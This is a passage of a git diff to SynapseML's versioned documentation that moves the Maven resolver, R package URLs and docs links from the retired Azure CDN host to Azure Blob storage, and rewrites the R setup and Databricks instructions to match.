+devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-vw-1.0.3.zip") ``` -and then install any or all of the following packages, depending on your intended usage: +> **Published archive compatibility:** The component archives for this release +> were generated before the artifact endpoint migration and embed the retired +> Azure CDN Maven resolver in their sparklyr extension registration. Until the +> archives are regenerated and published, provide the Blob resolver explicitly +> and pass `extensions = character()` as shown below. Otherwise, loading an R +> wrapper before connecting can reactivate the retired resolver. -synapseml-cognitive, -synapseml-deep-learning, -synapseml-lightgbm, -synapseml-opencv, -synapseml-vw +### Importing libraries and setting up a Spark context -In other words: +Installing all dependencies may be time-consuming. When complete, create the +Spark context with an explicit package coordinate and repository. For local +sparklyr connections, `sparklyr.shell.repositories` supplies the repository to +`spark-submit`, while `extensions = character()` prevents the wrappers' embedded +registration from overriding it: ```R -... -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-cognitive-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-deep-learning-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-lightgbm-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-opencv-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-vw-0.11.0.zip") -... -``` - -### Importing libraries and setting up spark context - -Installing all dependencies may be time-consuming. When complete, run: - -```R -... library(sparklyr) library(dplyr) + config <- spark_config() config$sparklyr.defaultPackages <- "com.microsoft.azure:synapseml_2.12:1.0.3" -sc <- spark_connect(master = "local", config = config) -... +config$sparklyr.shell.repositories <- "https://mmlspark.blob.core.windows.net/maven" +sc <- spark_connect( + master = "local", + config = config, + extensions = character() +) ``` -This creates a spark context on your local machine. - -We then need to import the R wrappers: +Then import the installed R wrappers: ```R -... - library(synapseml.core) - library(synapseml.cognitive) - library(synapseml.deep.learning) - library(synapseml.lightgbm) - library(synapseml.opencv) - library(synapseml.vw) -... +library(synapseml.core) +library(synapseml.cognitive) +library(synapseml.deep.learning) +library(synapseml.lightgbm) +library(synapseml.opencv) +library(synapseml.vw) ``` ## Example @@ -80,71 +79,90 @@ We then need to import the R wrappers: We can use the faithful dataset in R: ```R -... faithful_df <- copy_to(sc, faithful) -cmd_model = ml_clean_missing_data( - x=faithful_df, - inputCols = c("eruptions", "waiting"), - outputCols = c("eruptions_output", "waiting_output"), - only.model=TRUE) -sdf_transform(cmd_model, faithful_df) -... +cmd_model <- ml_clean_missing_data( + x = faithful_df, + inputCols = c("eruptions", "waiting"), + outputCols = c("eruptions_output", "waiting_output"), + only.model = TRUE +) +ml_transform(cmd_model, faithful_df) ``` -You should see the output: +You should see output similar to: -```R -... +```text # Source: table [?? x 4] # Database: spark_connection eruptions waiting eruptions_output waiting_output - - 1 3.600 79 3.600 79 - 2 1.800 54 1.800 54 - 3 3.333 74 3.333 74 - 4 2.283 62 2.283 62 - 5 4.533 85 4.533 85 - 6 2.883 55 2.883 55 - 7 4.700 88 4.700 88 - 8 3.600 85 3.600 85 - 9 1.950 51 1.950 51 - 10 4.350 85 4.350 85 - # ... with more rows -... + + 1 3.600 79 3.600 79 + 2 1.800 54 1.800 54 + 3 3.333 74 3.333 74 + 4 2.283 62 2.283 62 + 5 4.533 85 4.533 85 + 6 2.883 55 2.883 55 + 7 4.700 88 4.700 88 + 8 3.600 85 3.600 85 + 9 1.950 51 1.950 51 +10 4.350 85 4.350 85 +# ... with more rows ``` ## Azure Databricks -In Azure Databricks, you can install devtools and the spark package from URL -and then use spark_connect with method = "databricks": +Install the R component archives from the installation block above on the +cluster driver. SynapseML's JVM package must be available when the cluster +starts; `spark_connect(method = "databricks")` connects to an existing Spark +session and cannot add the JVM package afterward. Before starting or restarting +the cluster, either: + +- add the Maven library `com.microsoft.azure:synapseml_2.12:1.0.3` and set its + repository (under **Advanced options**) to + `https://mmlspark.blob.core.windows.net/maven`; or +- add both settings to the cluster's Spark configuration: + +```text +spark.jars.packages com.microsoft.azure:synapseml_2.12:1.0.3 +spark.jars.repositories https://mmlspark.blob.core.windows.net/maven +``` + +After the cluster restarts, connect without loading the embedded extension +metadata: ```R -install.packages("devtools") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-1.0.3.zip") library(sparklyr) library(dplyr) -sc <- spark_connect(method = "databricks") +library(synapseml.core) +library(synapseml.lightgbm) + +sc <- spark_connect(method = "databricks", extensions = character()) faithful_df <- copy_to(sc, faithful) -unfit_model = ml_light_gbmregressor(sc, maxDepth=20, featuresCol="waiting", labelCol="eruptions", numIterations=10, unfit.model=TRUE) -ml_train_regressor(faithful_df, labelCol="eruptions", unfit_model) +unfit_model <- ml_light_gbm_regressor( + sc, + maxDepth = 20, + featuresCol = "waiting", + labelCol = "eruptions", + numIterations = 10, + unfit.model = TRUE +) +ml_train_regressor(faithful_df, labelCol = "eruptions", model = unfit_model) ``` ## Building from Source Our R bindings are built as part of the [normal build -process](../Developer%20Setup). To get a quick build, start at the root -of the synapseml directory, and find the generated files. For instance, -to find the R files for deep-learning, run +process](../Developer%20Setup). To get a quick build, start at the root +of the SynapseML directory and find the generated files. For example, to find +the R files for deep-learning, run: ```bash sbt packageR ls ./deep-learning/target/scala-2.12/generated/src/R/synapseml/R ``` -You can then run R in a terminal and install the above files directly: +You can then run R in a terminal and install the files directly: ```R -... devtools::install_local("./deep-learning/target/scala-2.12/generated/src/R/synapseml/R") -... ``` diff --git a/website/versioned_docs/version-1.0.4/Explore Algorithms/Deep Learning/Getting Started.md b/website/versioned_docs/version-1.0.4/Explore Algorithms/Deep Learning/Getting Started.md index f097fbd3a27..aa5a7726148 100644 --- a/website/versioned_docs/version-1.0.4/Explore Algorithms/Deep Learning/Getting Started.md +++ b/website/versioned_docs/version-1.0.4/Explore Algorithms/Deep Learning/Getting Started.md @@ -27,7 +27,7 @@ pip install synapseml==1.0.4 An alternative is installing the SynapseML jar package in library management section, by adding: ``` Coordinate: com.microsoft.azure:synapseml_2.12:1.0.4 -Repository: https://mmlspark.azureedge.net/maven +Repository: https://mmlspark.blob.core.windows.net/maven ``` :::note If you install the jar package, follow the first two cells of this [sample](../Quickstart%20-%20Fine-tune%20a%20Vision%20Classifier#environment-setup----reinstall-horovod-based-on-new-version-of-pytorch) diff --git a/website/versioned_docs/version-1.0.4/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md b/website/versioned_docs/version-1.0.4/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md index 37d05610f48..082478bd777 100644 --- a/website/versioned_docs/version-1.0.4/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md +++ b/website/versioned_docs/version-1.0.4/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md @@ -29,7 +29,7 @@ Note: the data does NOT contain information about departments, this information 1. In Cluster Libraries install from library source Maven: Coordinates: com.microsoft.azure:synapseml_2.12:1.0.4 -Repository: https://mmlspark.azureedge.net/maven +Repository: https://mmlspark.blob.core.windows.net/maven 2. In Cluster Libraries install from PyPI the library called plotly diff --git a/website/versioned_docs/version-1.0.4/Get Started/Install SynapseML.md b/website/versioned_docs/version-1.0.4/Get Started/Install SynapseML.md index e54849771fa..1c375743693 100644 --- a/website/versioned_docs/version-1.0.4/Get Started/Install SynapseML.md +++ b/website/versioned_docs/version-1.0.4/Get Started/Install SynapseML.md @@ -13,7 +13,7 @@ SynapseML is already installed in Microsoft Fabric notebooks. To change the vers "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -33,7 +33,7 @@ For Spark3.4 pools "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:1.0.4", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -48,7 +48,7 @@ For Spark3.3 pools: "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:0.11.4-spark3.3", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -66,7 +66,7 @@ import pyspark spark = pyspark.sql.SparkSession.builder.appName("MyApp") \ # Use 0.11.4-spark3.3 version for Spark3.3 and 1.0.4 version for Spark3.4 .config("spark.jars.packages", "com.microsoft.azure:synapseml_2.12:1.0.4") \ - .config("spark.jars.repositories", "https://mmlspark.azureedge.net/maven") \ + .config("spark.jars.repositories", "https://mmlspark.blob.core.windows.net/maven") \ .getOrCreate() import synapse.ml ``` @@ -77,7 +77,7 @@ If you're building a Spark application in Scala, add the following lines to your `build.sbt`: ```scala -resolvers += "SynapseML" at "https://mmlspark.azureedge.net/maven" +resolvers += "SynapseML" at "https://mmlspark.blob.core.windows.net/maven" // Use 0.11.4-spark3.3 version for Spark3.3 and 1.0.4 version for Spark3.4 libraryDependencies += "com.microsoft.azure" % "synapseml_2.12" % "1.0.4" ``` @@ -108,7 +108,7 @@ in your workspace. For the coordinates use: `com.microsoft.azure:synapseml_2.12:1.0.4` for Spark3.4 Cluster and `com.microsoft.azure:synapseml_2.12:0.11.4-spark3.3` for Spark3.3 Cluster; -Add the resolver: `https://mmlspark.azureedge.net/maven`. Ensure this library is +Add the resolver: `https://mmlspark.blob.core.windows.net/maven`. Ensure this library is attached to your target cluster(s). Finally, ensure that your Spark cluster has at least Spark 3.2 and Scala 2.12. diff --git a/website/versioned_docs/version-1.0.4/Reference/Contributor Guide.md b/website/versioned_docs/version-1.0.4/Reference/Contributor Guide.md index e8413400828..e44cc20f222 100644 --- a/website/versioned_docs/version-1.0.4/Reference/Contributor Guide.md +++ b/website/versioned_docs/version-1.0.4/Reference/Contributor Guide.md @@ -65,7 +65,7 @@ this process: case of your algorithm, with instructions in step-by-step manner. (The same notebook could be used for testing the code.) - Add in-line ScalaDoc comments to your source code, to generate the [API - reference documentation](https://mmlspark.azureedge.net/docs/pyspark/) + reference documentation](https://mmlspark.blob.core.windows.net/docs/pyspark/) #### Open a pull request diff --git a/website/versioned_docs/version-1.0.4/Reference/R Setup.md b/website/versioned_docs/version-1.0.4/Reference/R Setup.md index 3eae8a94358..8ff10e267e3 100644 --- a/website/versioned_docs/version-1.0.4/Reference/R Setup.md +++ b/website/versioned_docs/version-1.0.4/Reference/R Setup.md @@ -10,69 +10,68 @@ description: R setup and example for SynapseML ## Installation -**Requirements**: Ensure that R and -[devtools](https://github.com/hadley/devtools) installed on your -machine. +**Requirements**: Install R and +[devtools](https://github.com/hadley/devtools) on your machine. -Also make sure you have Apache Spark installed. If you are using Sparklyr, you can use [spark-install](https://spark.rstudio.com/packages/sparklyr/latest/reference/spark_install.html). Be sure to specify the correct version. As of this writing, that should be version="3.2". spark_install is a bit eccentric and may install a slightly different version. Be sure that the version you get is one that you want. +Also install a version of Apache Spark that is compatible with this SynapseML +release. If you are using sparklyr, you can use +[`spark_install`](https://spark.rstudio.com/packages/sparklyr/latest/reference/spark_install.html). +On Windows, download +[WinUtils.exe](https://github.com/steveloughran/winutils/blob/master/hadoop-3.0.0/bin/winutils.exe) +and copy it into the `bin` directory of your Spark installation, for example, +`C:\Users\user\AppData\Local\Spark\spark-3.3.2-bin-hadoop3\bin`. -On Windows, download [WinUtils.exe](https://github.com/steveloughran/winutils/blob/master/hadoop-3.0.0/bin/winutils.exe) and copy it into the `bin` directory of your Spark installation, e.g. C:\Users\user\AppData\Local\Spark\spark-3.3.2-bin-hadoop3\bin - -To install the current SynapseML package for R, first install synapseml-core: +The R bindings are published as one archive per SynapseML module. A combined +`synapseml-1.0.4.zip` archive is not published. Install `synapseml-core` and +the modules needed by your application (the following installs all six): ```R -... -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-core-0.11.0.zip") -... +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-core-1.0.4.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-cognitive-1.0.4.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-deep-learning-1.0.4.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-lightgbm-1.0.4.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-opencv-1.0.4.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-vw-1.0.4.zip") ``` -and then install any or all of the following packages, depending on your intended usage: +> **Published archive compatibility:** The component archives for this release +> were generated before the artifact endpoint migration and embed the retired +> Azure CDN Maven resolver in their sparklyr extension registration. Until the +> archives are regenerated and published, provide the Blob resolver explicitly +> and pass `extensions = character()` as shown below. Otherwise, loading an R +> wrapper before connecting can reactivate the retired resolver. -synapseml-cognitive, -synapseml-deep-learning, -synapseml-lightgbm, -synapseml-opencv, -synapseml-vw +### Importing libraries and setting up a Spark context -In other words: +Installing all dependencies may be time-consuming. When complete, create the +Spark context with an explicit package coordinate and repository. For local +sparklyr connections, `sparklyr.shell.repositories` supplies the repository to +`spark-submit`, while `extensions = character()` prevents the wrappers' embedded +registration from overriding it: ```R -... -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-cognitive-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-deep-learning-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-lightgbm-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-opencv-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-vw-0.11.0.zip") -... -``` - -### Importing libraries and setting up spark context - -Installing all dependencies may be time-consuming. When complete, run: - -```R -... library(sparklyr) library(dplyr) + config <- spark_config() config$sparklyr.defaultPackages <- "com.microsoft.azure:synapseml_2.12:1.0.4" -sc <- spark_connect(master = "local", config = config) -... +config$sparklyr.shell.repositories <- "https://mmlspark.blob.core.windows.net/maven" +sc <- spark_connect( + master = "local", + config = config, + extensions = character() +) ``` -This creates a spark context on your local machine. - -We then need to import the R wrappers: +Then import the installed R wrappers: ```R -... - library(synapseml.core) - library(synapseml.cognitive) - library(synapseml.deep.learning) - library(synapseml.lightgbm) - library(synapseml.opencv) - library(synapseml.vw) -... +library(synapseml.core) +library(synapseml.cognitive) +library(synapseml.deep.learning) +library(synapseml.lightgbm) +library(synapseml.opencv) +library(synapseml.vw) ``` ## Example @@ -80,71 +79,90 @@ We then need to import the R wrappers: We can use the faithful dataset in R: ```R -... faithful_df <- copy_to(sc, faithful) -cmd_model = ml_clean_missing_data( - x=faithful_df, - inputCols = c("eruptions", "waiting"), - outputCols = c("eruptions_output", "waiting_output"), - only.model=TRUE) -sdf_transform(cmd_model, faithful_df) -... +cmd_model <- ml_clean_missing_data( + x = faithful_df, + inputCols = c("eruptions", "waiting"), + outputCols = c("eruptions_output", "waiting_output"), + only.model = TRUE +) +ml_transform(cmd_model, faithful_df) ``` -You should see the output: +You should see output similar to: -```R -... +```text # Source: table [?? x 4] # Database: spark_connection eruptions waiting eruptions_output waiting_output - - 1 3.600 79 3.600 79 - 2 1.800 54 1.800 54 - 3 3.333 74 3.333 74 - 4 2.283 62 2.283 62 - 5 4.533 85 4.533 85 - 6 2.883 55 2.883 55 - 7 4.700 88 4.700 88 - 8 3.600 85 3.600 85 - 9 1.950 51 1.950 51 - 10 4.350 85 4.350 85 - # ... with more rows -... + + 1 3.600 79 3.600 79 + 2 1.800 54 1.800 54 + 3 3.333 74 3.333 74 + 4 2.283 62 2.283 62 + 5 4.533 85 4.533 85 + 6 2.883 55 2.883 55 + 7 4.700 88 4.700 88 + 8 3.600 85 3.600 85 + 9 1.950 51 1.950 51 +10 4.350 85 4.350 85 +# ... with more rows ``` ## Azure Databricks -In Azure Databricks, you can install devtools and the spark package from URL -and then use spark_connect with method = "databricks": +Install the R component archives from the installation block above on the +cluster driver. SynapseML's JVM package must be available when the cluster +starts; `spark_connect(method = "databricks")` connects to an existing Spark +session and cannot add the JVM package afterward. Before starting or restarting +the cluster, either: + +- add the Maven library `com.microsoft.azure:synapseml_2.12:1.0.4` and set its + repository (under **Advanced options**) to + `https://mmlspark.blob.core.windows.net/maven`; or +- add both settings to the cluster's Spark configuration: + +```text +spark.jars.packages com.microsoft.azure:synapseml_2.12:1.0.4 +spark.jars.repositories https://mmlspark.blob.core.windows.net/maven +``` + +After the cluster restarts, connect without loading the embedded extension +metadata: ```R -install.packages("devtools") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-1.0.4.zip") library(sparklyr) library(dplyr) -sc <- spark_connect(method = "databricks") +library(synapseml.core) +library(synapseml.lightgbm) + +sc <- spark_connect(method = "databricks", extensions = character()) faithful_df <- copy_to(sc, faithful) -unfit_model = ml_light_gbmregressor(sc, maxDepth=20, featuresCol="waiting", labelCol="eruptions", numIterations=10, unfit.model=TRUE) -ml_train_regressor(faithful_df, labelCol="eruptions", unfit_model) +unfit_model <- ml_light_gbm_regressor( + sc, + maxDepth = 20, + featuresCol = "waiting", + labelCol = "eruptions", + numIterations = 10, + unfit.model = TRUE +) +ml_train_regressor(faithful_df, labelCol = "eruptions", model = unfit_model) ``` ## Building from Source Our R bindings are built as part of the [normal build -process](../Developer%20Setup). To get a quick build, start at the root -of the synapseml directory, and find the generated files. For instance, -to find the R files for deep-learning, run +process](../Developer%20Setup). To get a quick build, start at the root +of the SynapseML directory and find the generated files. For example, to find +the R files for deep-learning, run: ```bash sbt packageR ls ./deep-learning/target/scala-2.12/generated/src/R/synapseml/R ``` -You can then run R in a terminal and install the above files directly: +You can then run R in a terminal and install the files directly: ```R -... devtools::install_local("./deep-learning/target/scala-2.12/generated/src/R/synapseml/R") -... ``` diff --git a/website/versioned_docs/version-1.0.5/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md b/website/versioned_docs/version-1.0.5/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md index b4c241b3160..40ce8d5d732 100644 --- a/website/versioned_docs/version-1.0.5/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md +++ b/website/versioned_docs/version-1.0.5/Explore Algorithms/Anomaly Detection/Quickstart - Isolation Forests.md @@ -19,7 +19,7 @@ To learn more about the Isolation Forest model please refer to the original pape # "name": "synapseml", # "conf": { # "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:", -# "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", +# "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", # "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", # "spark.yarn.user.classpath.first": "true", # "spark.sql.parquet.enableVectorizedReader": "false" diff --git a/website/versioned_docs/version-1.0.5/Explore Algorithms/Deep Learning/Getting Started.md b/website/versioned_docs/version-1.0.5/Explore Algorithms/Deep Learning/Getting Started.md index 23cdf72be95..3141f3d119e 100644 --- a/website/versioned_docs/version-1.0.5/Explore Algorithms/Deep Learning/Getting Started.md +++ b/website/versioned_docs/version-1.0.5/Explore Algorithms/Deep Learning/Getting Started.md @@ -27,7 +27,7 @@ pip install synapseml==1.0.5 An alternative is installing the SynapseML jar package in library management section, by adding: ``` Coordinate: com.microsoft.azure:synapseml_2.12:1.0.5 -Repository: https://mmlspark.azureedge.net/maven +Repository: https://mmlspark.blob.core.windows.net/maven ``` :::note If you install the jar package, follow the first two cells of this [sample](../Quickstart%20-%20Fine-tune%20a%20Vision%20Classifier#environment-setup----reinstall-horovod-based-on-new-version-of-pytorch) diff --git a/website/versioned_docs/version-1.0.5/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md b/website/versioned_docs/version-1.0.5/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md index d6fbd3dccc1..30c2365c047 100644 --- a/website/versioned_docs/version-1.0.5/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md +++ b/website/versioned_docs/version-1.0.5/Explore Algorithms/Other Algorithms/Quickstart - Anomalous Access Detection.md @@ -29,7 +29,7 @@ Note: the data does NOT contain information about departments, this information 1. In Cluster Libraries install from library source Maven: Coordinates: com.microsoft.azure:synapseml_2.12:1.0.5 -Repository: https://mmlspark.azureedge.net/maven +Repository: https://mmlspark.blob.core.windows.net/maven 2. In Cluster Libraries install from PyPI the library called plotly diff --git a/website/versioned_docs/version-1.0.5/Get Started/Install SynapseML.md b/website/versioned_docs/version-1.0.5/Get Started/Install SynapseML.md index a15f60590c0..5dd9dec609d 100644 --- a/website/versioned_docs/version-1.0.5/Get Started/Install SynapseML.md +++ b/website/versioned_docs/version-1.0.5/Get Started/Install SynapseML.md @@ -13,7 +13,7 @@ SynapseML is already installed in Microsoft Fabric notebooks. To change the vers "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -33,7 +33,7 @@ For Spark3.4 pools "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:1.0.5", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -48,7 +48,7 @@ For Spark3.3 pools: "name": "synapseml", "conf": { "spark.jars.packages": "com.microsoft.azure:synapseml_2.12:0.11.4-spark3.3", - "spark.jars.repositories": "https://mmlspark.azureedge.net/maven", + "spark.jars.repositories": "https://mmlspark.blob.core.windows.net/maven", "spark.jars.excludes": "org.scala-lang:scala-reflect,org.apache.spark:spark-tags_2.12,org.scalactic:scalactic_2.12,org.scalatest:scalatest_2.12,com.fasterxml.jackson.core:jackson-databind", "spark.yarn.user.classpath.first": "true", "spark.sql.parquet.enableVectorizedReader": "false" @@ -66,7 +66,7 @@ import pyspark spark = pyspark.sql.SparkSession.builder.appName("MyApp") \ # Use 0.11.4-spark3.3 version for Spark3.3 and 1.0.5 version for Spark3.4 .config("spark.jars.packages", "com.microsoft.azure:synapseml_2.12:1.0.5") \ - .config("spark.jars.repositories", "https://mmlspark.azureedge.net/maven") \ + .config("spark.jars.repositories", "https://mmlspark.blob.core.windows.net/maven") \ .getOrCreate() import synapse.ml ``` @@ -77,7 +77,7 @@ If you're building a Spark application in Scala, add the following lines to your `build.sbt`: ```scala -resolvers += "SynapseML" at "https://mmlspark.azureedge.net/maven" +resolvers += "SynapseML" at "https://mmlspark.blob.core.windows.net/maven" // Use 0.11.4-spark3.3 version for Spark3.3 and 1.0.5 version for Spark3.4 libraryDependencies += "com.microsoft.azure" % "synapseml_2.12" % "1.0.5" ``` @@ -108,7 +108,7 @@ in your workspace. For the coordinates use: `com.microsoft.azure:synapseml_2.12:1.0.5` for Spark3.4 Cluster and `com.microsoft.azure:synapseml_2.12:0.11.4-spark3.3` for Spark3.3 Cluster; -Add the resolver: `https://mmlspark.azureedge.net/maven`. Ensure this library is +Add the resolver: `https://mmlspark.blob.core.windows.net/maven`. Ensure this library is attached to your target cluster(s). Finally, ensure that your Spark cluster has at least Spark 3.2 and Scala 2.12. diff --git a/website/versioned_docs/version-1.0.5/Reference/Contributor Guide.md b/website/versioned_docs/version-1.0.5/Reference/Contributor Guide.md index e8413400828..e44cc20f222 100644 --- a/website/versioned_docs/version-1.0.5/Reference/Contributor Guide.md +++ b/website/versioned_docs/version-1.0.5/Reference/Contributor Guide.md @@ -65,7 +65,7 @@ this process: case of your algorithm, with instructions in step-by-step manner. (The same notebook could be used for testing the code.) - Add in-line ScalaDoc comments to your source code, to generate the [API - reference documentation](https://mmlspark.azureedge.net/docs/pyspark/) + reference documentation](https://mmlspark.blob.core.windows.net/docs/pyspark/) #### Open a pull request diff --git a/website/versioned_docs/version-1.0.5/Reference/R Setup.md b/website/versioned_docs/version-1.0.5/Reference/R Setup.md index d59f3d3b77e..58a9204a564 100644 --- a/website/versioned_docs/version-1.0.5/Reference/R Setup.md +++ b/website/versioned_docs/version-1.0.5/Reference/R Setup.md @@ -10,69 +10,68 @@ description: R setup and example for SynapseML ## Installation -**Requirements**: Ensure that R and -[devtools](https://github.com/hadley/devtools) installed on your -machine. +**Requirements**: Install R and +[devtools](https://github.com/hadley/devtools) on your machine. -Also make sure you have Apache Spark installed. If you are using Sparklyr, you can use [spark-install](https://spark.rstudio.com/packages/sparklyr/latest/reference/spark_install.html). Be sure to specify the correct version. As of this writing, that should be version="3.2". spark_install is a bit eccentric and may install a slightly different version. Be sure that the version you get is one that you want. +Also install a version of Apache Spark that is compatible with this SynapseML +release. If you are using sparklyr, you can use +[`spark_install`](https://spark.rstudio.com/packages/sparklyr/latest/reference/spark_install.html). +On Windows, download +[WinUtils.exe](https://github.com/steveloughran/winutils/blob/master/hadoop-3.0.0/bin/winutils.exe) +and copy it into the `bin` directory of your Spark installation, for example, +`C:\Users\user\AppData\Local\Spark\spark-3.3.2-bin-hadoop3\bin`. -On Windows, download [WinUtils.exe](https://github.com/steveloughran/winutils/blob/master/hadoop-3.0.0/bin/winutils.exe) and copy it into the `bin` directory of your Spark installation, e.g. C:\Users\user\AppData\Local\Spark\spark-3.3.2-bin-hadoop3\bin - -To install the current SynapseML package for R, first install synapseml-core: +The R bindings are published as one archive per SynapseML module. A combined +`synapseml-1.0.5.zip` archive is not published. Install `synapseml-core` and +the modules needed by your application (the following installs all six): ```R -... -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-core-0.11.0.zip") -... +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-core-1.0.5.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-cognitive-1.0.5.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-deep-learning-1.0.5.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-lightgbm-1.0.5.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-opencv-1.0.5.zip") +devtools::install_url("https://mmlspark.blob.core.windows.net/rrr/synapseml-vw-1.0.5.zip") ``` -and then install any or all of the following packages, depending on your intended usage: +> **Published archive compatibility:** The component archives for this release +> were generated before the artifact endpoint migration and embed the retired +> Azure CDN Maven resolver in their sparklyr extension registration. Until the +> archives are regenerated and published, provide the Blob resolver explicitly +> and pass `extensions = character()` as shown below. Otherwise, loading an R +> wrapper before connecting can reactivate the retired resolver. -synapseml-cognitive, -synapseml-deep-learning, -synapseml-lightgbm, -synapseml-opencv, -synapseml-vw +### Importing libraries and setting up a Spark context -In other words: +Installing all dependencies may be time-consuming. When complete, create the +Spark context with an explicit package coordinate and repository. For local +sparklyr connections, `sparklyr.shell.repositories` supplies the repository to +`spark-submit`, while `extensions = character()` prevents the wrappers' embedded +registration from overriding it: ```R -... -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-cognitive-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-deep-learning-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-lightgbm-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-opencv-0.11.0.zip") -devtools::install_url("https://mmlspark.azureedge.net/rrr/synapseml-vw-0.11.0.zip") -... -``` - -### Importing libraries and setting up spark context - -Installing all dependencies may be time-consuming. When complete, run: - -```R -... library(sparklyr) library(dplyr) + config <- spark_config() config$sparklyr.defaultPackages <- "com.microsoft.azure:synapseml_2.12:1.0.5" -sc <- spark_connect(master = "local", config = config) -... +config$sparklyr.shell.repositories <- "https://mmlspark.blob.core.windows.net/maven" +sc <- spark_connect( + master = "local", + config = config, + extensions = character() +) ``` -This creates a spark context on your local machine. - -We then need to import the R wrappers: +Then import the installed R wrappers: ```R -... - library(synapseml.core) - library(synapseml.cognitive) - library(synapseml.deep.learning) - library(synapseml.lightgbm) - library(synapseml.opencv) - library(synapseml.vw) -... +library(synapseml.core) +library(synapseml.cognitive) +library(synapseml.deep.learning) +library(synapseml.lightgbm) +library(synapseml.opencv) +library(synapseml.vw) ``` ## Example @@ -80,71 +79,90 @@ We then need to import the R wrappers: We can use the faithful dataset in R: ```R -... faithful_df <- copy_to(sc, 